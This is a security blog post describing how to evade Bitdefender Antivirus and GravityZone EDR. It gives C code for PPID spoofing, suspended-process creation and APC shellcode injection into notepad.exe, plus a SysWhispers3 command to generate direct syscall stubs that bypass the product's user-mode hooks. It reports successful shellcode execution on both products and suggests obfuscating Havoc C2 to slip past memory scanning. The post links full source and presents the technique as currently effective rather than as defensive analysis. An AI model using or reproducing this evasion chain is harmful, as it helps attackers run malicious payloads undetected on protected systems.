VaultSecLab

VaultSec Lab

Detection begins where your creativity ends.

Back to articles

EvasionDiaries Chapter 1 | The GravityZone

EvasionDiaries Chapter 1 | The GravityZone

Bitdefender GravityZone is known for its effective EDR capabilities, leveraging user-mode API hooks to detect and mitigate suspicious behaviors. However, like many EDRs, it relies heavily on hooking functions within libraries such as ntdll.dll. By understanding its methodology, we can explore a technique, which bypasses these hooks entirely.

EDR Evasion
Samad Bloch
Samad Bloch Writer
Edr Evasion Evasion

In Chapter 1 of EvadedDiaries, our objective is clear and straightforward: we examine how both Bitdefender Antivirus and Bitdefender GravityZone utilize usermode function hooking. This technique alters the behavior of an application by replacing the start of an API function with a jump.

 

TRYING HARDER !

Let's first test the code I have created, which includes the following features:

  • PPID Spoofing: Using a specified parent process ID to spoof the parent of the target process.
  • Suspended Process Creation/Injection: Creating a process in a suspended state and injecting shellcode using APC (Asynchronous Procedure Call).
  • Dynamic NTAPI Resolution: Dynamically resolving NTAPI functions at runtime.

Dynamically Resolving NTAPI

pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)ResolveAPI("ntdll.dll", "NtAllocateVirtualMemory");
pNtProtectVirtualMemory NtProtectVirtualMemory = (pNtProtectVirtualMemory)ResolveAPI("ntdll.dll", "NtProtectVirtualMemory");
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)ResolveAPI("ntdll.dll", "NtWriteVirtualMemory");
pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)ResolveAPI("ntdll.dll", "NtQueueApcThread");
pNtResumeThread NtResumeThread = (pNtResumeThread)ResolveAPI("ntdll.dll", "NtResumeThread");

if (!NtAllocateVirtualMemory || !NtProtectVirtualMemory || !NtWriteVirtualMemory || !NtQueueApcThread || !NtResumeThread) {
    PrintError("Failed to resolve NT functions");
    return -1;
}

PPID Spoofing

// Get a handle to the parent process for PPID spoofing
DWORD ppid = 37368; // Replace with the PID of the parent process you want to spoof
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, ppid);
if (!hParent) {
    PrintError("Failed to open parent process");
    return -1;
}

Create A Suspended Process With Spoofed PPID

// Create a suspended process with spoofed PPID
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessA(
    "C:\\Windows\\System32\\notepad.exe",
    NULL,
    NULL,
    NULL,
    FALSE,
    CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT,
    NULL,
    NULL,
    &si.StartupInfo,
    &pi)) {
    PrintError("Failed to create process");
    DeleteProcThreadAttributeList(si.lpAttributeList);
    HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
    CloseHandle(hParent);
    return -1;
}

Now, let's compile the code and test it in an environment with Bitdefender installed. For this demonstration, I’ve used this Calc Shellcode for testing purposes. Below, I’ve attached a screenshot of the result.

After executing our code, the process was immediately terminated, and the entire chain was disinfected. It seems that implementing these features alone is not sufficient to evade Bitdefender. We need to unhook the entire DLL that Bitdefender injects into our process. Let’s start by analyzing Bitdefender’s behavior and its hook installation capabilities.

 

Bitdefender's Approach to Function Hooking: A Technical Analysis

After opening Notepad in x64dbg, I noticed two unusual DLLs attached to the process: bdhkm64.dll and atcuf64.dll. Upon inspecting bdhkm64.dll, I observed several exports that appear to hint at Bitdefender's hook-installing capabilities. These exports likely indicate functions that manage or enforce hooking mechanisms within processes, enabling Bitdefender to monitor or intercept API calls for security purposes.

Since Bitdefender is hooking API calls by placing jumps at the start of each API, we can evade these hooks by directly invoking syscalls. Using SysWhispers 3, we can generate direct syscall stubs for every NTAPI used in the earlier code. "I’m gonna assume you’re already down with the whole direct syscalls vibe since it’s been around for years" 

Just grab a syswhisper3 and generate syscalls by running below command.

python3 syswhispers.py -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread,NtResumeThread -o syscalls

After generating the direct syscalls, configure them in your Visual Studio project. Replace the dynamic API resolution code with the syscall stubs. The updated code will look like this after successfully redirecting it to use syscalls.

pNtAllocateVirtualMemory NtAllocateVirtualMemory = Sw3NtAllocateVirtualMemory;
pNtProtectVirtualMemory NtProtectVirtualMemory = Sw3NtProtectVirtualMemory;
pNtWriteVirtualMemory NtWriteVirtualMemory = Sw3NtWriteVirtualMemory;
pNtQueueApcThread NtQueueApcThread = Sw3NtQueueApcThread;
pNtResumeThread NtResumeThread = Sw3NtResumeThread;

Since Bitdefender relies on user-mode hooking, it will be difficult for it to catch syscalls, as we are not directly invoking NTAPI to perform our tasks. Instead, we are using the corresponding syscall for each API to execute the shellcode. Also, my intention is to achieve shellcode execution in a particular EDR or AV-controlled environment. Because of that, I haven't gone into the details of syscalls, APC, and PPID spoofing concepts, as they have already been discussed extensively on the internet. Now let's just test our code and see if we could evade hooks and achieve our shellcode execution.

Here, we can see that we've successfully bypassed the hooks in Bitdefender Antivirus. Now, let's test the same for Bitdefender GravityZone EDR.

So far, so good! We have successfully executed shellcode on a GravityZone-controlled system as well. This is one of the approaches you can use against Bitdefender. However, if you're executing something like Cobalt Strike or Havoc, be cautious, Bitdefender might detect it in memory, as these tools often have Nasty YARA rules written to flag them.

However, if you make slight modifications such as API Wrapping and String Obfuscation to the source code of Havoc C2, you should be good to go with this approach & AES implementation, I will provide the link to the source code at the end of the blog so you can test it yourself and possibly implement further advancements, such as those I’ve mentioned.

Since I have no interest in teaching you about techniques or discussing what this or that means because all of this information is already available on the internet. My focus is on demonstrating which techniques are currently effective against specific AVs/EDRs and outlining the methodologies to evade detections on particular EDRs or AVs.

In future blogs, I will delve deeper and show you advanced techniques to evade detections in EDRs like SentinelOne and Elastic. Until then, I’m sharing some excellent resources for you to explore and expand your knowledge.

Source Code: github.com/ZwNagi/BitDefenderEvasion

References:

github.com/klezVirus/SysWhispers3

https://github.com/Whitecat18/earlycascade-injection/blob/main/w64-exec-calc-shellcode.bin

Resources:

http://blog.cryptoplague.net/main/research/windows-research/proxyalloc-evading-ntallocatevirtualmemory-detection-ft.-elastic-defend-and-binary-ninja

http://0xdarkvortex.dev/hiding-in-plainsight

malwaretech.com/2023/12/silly-edr-bypasses-and-where-to-find-them.html